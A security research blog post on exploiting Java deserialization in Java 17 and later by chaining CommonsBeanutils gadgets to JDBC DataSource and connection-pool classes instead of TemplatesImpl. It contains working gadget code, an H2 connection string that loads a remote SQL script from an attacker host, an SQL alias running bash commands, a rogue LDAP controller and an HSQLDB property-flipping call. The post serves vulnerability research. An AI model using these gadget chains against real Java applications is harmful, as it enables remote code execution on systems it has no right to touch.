Look Mama, no TemplatesImpl
Exploiting deserialization vulnerabilities in Java 17 and beyond, using JDBC connections
Due to changes in Java 16, exploiting native deserialization vulnerabilities became much harder. This post will give an overview what has been changed and provides some ideas how attackers can still gain remote code execution.
Project Jigsaw and the Java module system
To understand the underlying issue, we need to talk about the Java Module system and Java Reflection first. I will keep it short, a more detailed explanation can be found in the Java Magazine.
A fundamental change in Java is the Java module system that was introduced with Project Jigsaw and Java 9. Greatly simplified, the module system provides better control which parts of the JRE/libraries are actually loaded by an application and what can be accessed through other modules.
The Java module system provides great benefits like improved performance. For example you normally don’t use the GUI components of the Java Runtime if you are running a service like Apache Tomcat, thus you don’t need to load them in the first place. It is even possible to create a minimalistic JRE that only contains the modules your application actually uses, ideal for container-based environments.
Java Reflection
Before version 9 Java already provided some sort of isolation, mainly enforced by the compiler: Methods and properties that are marked as private / protected can’t be accessed from external classes. This is only a weak protection as it can be bypassed with Java Reflection. The following example makes a private method “internalMethod” public and invokes it afterwards:
PrivateObject privateObject = new PrivateObject();
Method internalMethod = PrivateObject.class.
getDeclaredMethod("internalMethod", null);
internalMethod.setAccessible(true);
String returnValue = (String) internalMethod.invoke(privateObject, null);
You can’t implement a robust module system if there is a technology that would allow you to bypass module isolation. Therefore, the Java module systems allows developers to define which code can be accessed from other modules and which parts can be invoked/through reflection. This is done through the module-info.class
file.
The Java developers used this to encapsulate reflective access to internal classes of the Java Runtime that should not be invoked directly from external code. From the attacker perspective, this is a problem as many known deserialization gadgets use this approach to archive remote code execution.
Java versions
Similar to many Linux distributions, Java differs between “normal” and LTS (Long Term Support) releases that have an extended support period. Most software vendors prefer using a LTS version, especially if they can’t simply migrate to the latest Java version.
The change in reflective access is fundamental and can’t be enforced overnight as everything would stop working and no one would upgrade to the latest Java release. Instead, this was performed through multiple changes in different Java versions.
Java version | Release date | Remark |
---|---|---|
Java 9 | September 2017 | Reflection access restrictions enforced by the compiler, not the runtime |
Java 11 (LTS) | September 2018 | Illegal reflective access creates a warning but is still allowed |
Java 16 | March 2021 | Illegal reflective access is prevented in the default settings |
With Java 17 (released in September 2017) we have the first LTS version that does no longer allow reflective access to internal Java classes. This prevents the usage of these internal classes in deserialization gadgets.
Practical example
Let’s see what this means in practice: As example we will use the CommonsBeanutils1 gadget, which is often present in many Java applications.
We create the gadget chain like this:
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils1 "xcalc" > /tmp/testgadget
CommonBeanutils1 allows attackers to invoke a getter method on the serialized class, normally a Java bean that uses getters/setters to access properties. This is used to invoke the “getOutputProperties” method from a “com.sun.org.apache.xalan.internal. xsltc.trax.TemplatesImpl” instance, which leads to the execution of attacker provided Java bytecode. This is an internal class that was not intended to be used by external code.
If we deserialize this object in a Java 11 environment, the runtime prints out warnings but the payload still works as expected as module access restrictions are not enforced yet:
--- Deserializer -----------------------------
Java version: 11.0.17+8-LTS
Deserilializing: /tmp/testgadget
WARNING: An illegal reflective access operation has occurred
WARNING: Illegal reflective access by org.apache.commons.beanutils.PropertyUtilsBean (file:/home/h0ng10/tmp/jars/commons-beanutils-1.9.4.jar) to method com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties()
WARNING: Please consider reporting this to the maintainers of org.apache.commons.beanutils.PropertyUtilsBean
WARNING: Use --illegal-access=warn to enable warnings of further illegal reflective access operations
WARNING: All illegal access operations will be denied in a future release
java.lang.RuntimeException: InvocationTargetException: java.lang.reflect.InvocationTargetException
In Java 17 reflective access to internal classes is no longer allowed. Thus it is no longer possible to invoke a method on the TemplatesImpl
class. Instead of executing the payload, the application throws an IllegalAccessException:
--- Deserializer -----------------------------
Java version: 17.0.6+9-LTS-190
Deserilializing: /tmp/testgadget
java.lang.RuntimeException: IllegalAccessException: java.lang.IllegalAccessException: class org.apache.commons.beanutils.PropertyUtilsBean cannot access class com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl (in module java.xml) because module java.xml does not export com.sun.org.apache.xalan.internal.xsltc.trax to unnamed module @5e922278
The “TemplatesImpl” gadget provided a reliable way to get code execution on most Java versions and was therefore used as final sink in many public gadget chains. In a Java 17 environment, these gadget chains no longer work “out of the box”.
Abusing JDBC connections
This is not a totally new situation as attackers had to deal with similar issues before. For example the target application might already implement look ahead deserialization filtering that prevents usage of the TemplatesImpl class. Java 17 still allows deserialization of these classes but blocks the invocation of methods. The effect is similar to blocking deserialization in the first place.
The CommonsBeanutils1 gadget allows us to invoke a Bean Getter Method (“getXXX”) on a serializable object. This is still a powerful attack primitive, we just can’t no longer rely on objects that are provided by the Java Runtime.
In our case, we based our work on the existing research from Xu Yuanzhen and Chen Hongkun. They analyzed the attack surface of common JDBC connectors in the past and discovered various interesting attack vectors. We especially refer to the following presentations / posts, which we highly recommend:
- Making JDBC exploitation brilliant again by pyn3rd (blog post/HITB Sin2021 video/ HITB Sin2021 slides)
- Making JDBC exploitation brilliant again (part 2) by pyn3rd (blog post)
JDBC connections can be created in two different ways: By invoking the static method DriverManager.getConnection() or by using a class that implements the DataSource interface. As the DriverManager class is not serializable, we need to focus on DataSource implementations. The DataSource interface requires that the implementations provide a getConnection()
method, making them a working sink for our customized CommonsBeanutils chain.
Example: PostgreSQL JDBC Driver
As an example, we use the PostgreSQL JDBC driver, which (according to Maven) is the second most popular JDBC driver. The class PGSimpleDataSource provides a serializable DataSource implementation. The following code snipped shows a slightly modified version of the CommonsBeanutils chain. Instead of providing a OS command to invoke, the user can provide a JDBC connection string. This can be abused to gain remote code execution.
public Object getObject(final String command) throws Exception {
// create a PGSimpleDataSource object, holding our JDBC string
PGSimpleDataSource dataSource = new PGSimpleDataSource();
dataSource.setUrl(command);
// mock method name until armed
final BeanComparator comparator = new BeanComparator("lowestSetBit");
// create queue with numbers and basic comparator
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
// stub data for replacement later
queue.add(new BigInteger("1"));
queue.add(new BigInteger("1"));
// switch method called by comparator to "getConnection"
Reflections.setFieldValue(comparator, "property", "connection");
// switch contents of queue
final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
queueArray[0] = dataSource;
queueArray[1] = dataSource;
return queue;
}
Example: H2 JDBC Driver
H2 is a “in memory” database that is often used for demonstrating purposes. Exploiting H2 database connections has a long history as the the JDBC connection string allows the configuration of an external file with SQL commands for database initialization through the “INIT” setting:
jdbc:h2:mem:tempdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://attacker.com/poc.sql'
H2 further provides a “compiler” feature that allows developers to define custom functions as Java code. By proving a malicious INIT script this feature can be abused to gain remote code execution.
CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
String[] command = {"bash", "-c", cmd};
java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\\A");
return s.hasNext() ? s.next() : ""; }
$$;
CALL SHELLEXEC('id > /tmp/exploited.txt')
Exploiting H2 connections in a deserialization scenario is not as straight forward. While the H2 database library contains a serializable DataSource implementation (JdbcDataSource), using a deserialized class instance will not work. This is caused by the fact that JdbcDataSource is derived from the class TraceObject, which is not serializable.
When invoking the “getConnection” method on the deserialized JdbcDataSource instance, the code first attempt to call the “debugCodeCall” method. This call will fail, as the necessary properties from TraceObject were not deserialized.
@Override
public Connection getConnection() throws SQLException {
debugCodeCall("getConnection");
return new JdbcConnection(url, null, userName, StringUtils.cloneCharArray(passwordChars), false);
}
In previous Java versions, attackers could bypass this by using the class “JdbcRowSetImpl”. In the Marshalsec paper, Moritz Bechler already provided a modified version of the CommonBeanuitls gadget that used this class. Back then it was used to make an outgoing JNDI call, but it also allows creating JDBC connections. Similar to the TemplatesImpl, this is an internal Java class that can no longer be accessed using reflection, thus we can’t use it in our scenario. Luckily, we can try to abuse JDBC pooling.
JDBC pooling
JDBC pools are a mechanism used to manage database connections in Java applications. In a JDBC pool, a set of database connections are pre-created and maintained in a pool, ready for use by the application. When an application needs to access the database, it requests a connection from the pool, and when it is finished using the connection, it returns it to the pool rather than closing it. This enables the application to reuse existing connections and avoid the overhead of creating a new connection each time it needs to access the database. As so often, JDBC pool exploitation has been described before. I especially want to highlight 浅蓝’s presentation at Beijing Cyber Security Conference 2022 slides, blogpost which describes this in the context of JNDI exploitation.
Here a list of popular JDBC connection pool libraries:
Implementation | Remark |
---|---|
HikariCP | Modern implementation, does not include many serialized classes |
Commons DBCP | Apache Connection Pool version 1, provides JNDI gadgets |
Commons DBCP2 | Apache Connection Pool version 2, provides JNDI gadgets |
Druid | Ali Baba JDBC Connection Pool |
C3PO | Provides a direct gadget (ComboPooledDataSource) |
Tomcat JDBC | Tomcat JDBC pool implementation, does not include many serialized classes |
Note:
Some JDBC drivers (for example MariaDB) provide their own pooling implementation that can be used without a pool library.
Example: C3PO ComboPooledDataSource and H2
C3POs ComboPooledDataSource is an ideal candidate for our task. It will take our JDBC connection string and passes it to the JDBC driver manager, creating a new instance. This can be used with any JDBC driver, making it a quite generic gadget. We only need to slightly modify the “JDBC connection part in our previous gadget to make this work.
public Object getObject(final String command) throws Exception {
// create a ComboPooledDataSource with our JDBC String
ComboPooledDataSource dataSource = new ComboPooledDataSource();
dataSource.setJdbcUrl(command);
...
}
Example: Apache Commons DBCP2 and H2
Apache Commons DBCP2 is more complex. To gain remote remote code execution, we can use a “SharedPoolDataSource”. When invoking “getConnection”, we trigger the following code chain:
- Perform a JNDI call to an attacker controlled source (LDAP service)
- Create a new JdbcDataSource instance using the H2 Datasource object factory and the properties received from the JNDI call
- Invokes getConnection() on the created instance
Let’s first cover the JNDI source that will be called through JNDI by extending Artsploits rogue-jndi with a matching controller:
@LdapMapping(uri = { "/o=h2" })
public class H2 implements LdapController {
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
System.out.println("Sending LDAP ResourceRef result for " + base + " with H2 payload");
String payloadURL = "http://" + Config.hostname + ":" + Config.httpPort + Config.h2; //get from config if not specified
String jdbcUrl = "jdbc:h2:mem:tempdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM '" + payloadURL + "'";
Reference h2Reference = new Reference("org.h2.jdbcx.JdbcDataSource", "org.h2.jdbcx.JdbcDataSourceFactory", null);
h2Reference.add(new StringRefAddr("driverClassName", "org.h2.Driver"));
h2Reference.add(new StringRefAddr("url", jdbcUrl));
h2Reference.add(new StringRefAddr("user", "sa"));
h2Reference.add(new StringRefAddr("password", "sa"));
h2Reference.add(new StringRefAddr("description", "H2 connection"));
h2Reference.add(new StringRefAddr("loginTimeout", "3"));
Entry e = new Entry(base);
e.addAttribute("javaClassName", "java.lang.String"); //could be any
e.addAttribute("javaSerializedData", serialize(h2Reference));
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
Again, the gadget only needs to be changed slightly. In this case, the user needs to provide the JNDI URL as a “command”:
public Object getObject(final String command) throws Exception {
// create a SharedPoolDataSource with the JNDI URL as "command"
SharedPoolDataSource dataSource = new SharedPooDataSource();
mySource.setDataSourceName(command);
...
Deserializing this gadget in a minimal test environment will fail: DBCP2 stores a reference for the used connection pool in the serialized object. When deserializing the object, it tries to “reuse” that pool by calling “InstanceKeyDataSourceFactory.getObjectIntance()”.
private void readObject(final ObjectInputStream in) throws IOException, ClassNotFoundException {
try {
in.defaultReadObject();
final SharedPoolDataSource oldDS = (SharedPoolDataSource) new SharedPoolDataSourceFactory().getObjectInstance(getReference(), null, null, null);
this.pool = oldDS.pool;
} catch (final NamingException e) {
throw new IOException("NamingException: " + e);
}
}
We could “bypass” this by providing a null-reference but this will kill our attempt to call “getConnection()” later causing an exception:
@Override
public Connection getConnection(final String userName, final String userPassword) throws SQLException {
if (instanceKey == null) {
throw new SQLException("Must set the ConnectionPoolDataSource "
+ "through setDataSourceName or setConnectionPoolDataSource" + " before calling getConnection.");
}
...
Attackers might still be able to use this gadget in real world scenarios. A connection pool reference is a simple number, stored as string (“1”, “2”). Assuming that at least one connection pool is there (that’s why you have connection pooling in the first place), attackers can simple “use” that reference as it does not really matter if the connection pool points to a different database.
Other ideas
Exploiting connection initialization / validation features
Similar to the “INIT” feature in H2 JDBC connection strings, some JDBC pool libraries allow the configuration of SQL queries for the following use cases:
- Initialization of a new connection
- Validating the existing connection
Depending on the provided database, this can be abused for during exploitation. For example, before HSQLDB 2.7.1, it was possible to execute arbitrary static Java methods through SQL (CVE-2022-41853). As 浅蓝’s already demonstrated in his slides, this can be exploited invoke System.setProperty
and used it to set “com.sun.jndi.rmi.object.trustURLCodebase” to true
. This re-enables remote class loading in JNDI, allowing remote code execution as back in the days.
CALL "java.lang.System.setProperty"('com.sun.jndi.rmi.object.trustURLCodebase', 'true')
We did not fully test this but executing SQL through a validation query might not work in the context of an deserialization attack. When the application tries to cast the attacker provided gadget chain to the expected object, an exception gets triggered. The database connection might then already been terminated before the validation query gets executed. Initialization queries should work.
Summary
Java 17 kills many existing gadget chains that rely on internal Java classes. Exploiting Java deserialization issues in this environment is still possible, but requires more customised gadget chains.
It was way to easy anyway 😉
Thanks to Zac Ong on Unsplash for the title picture.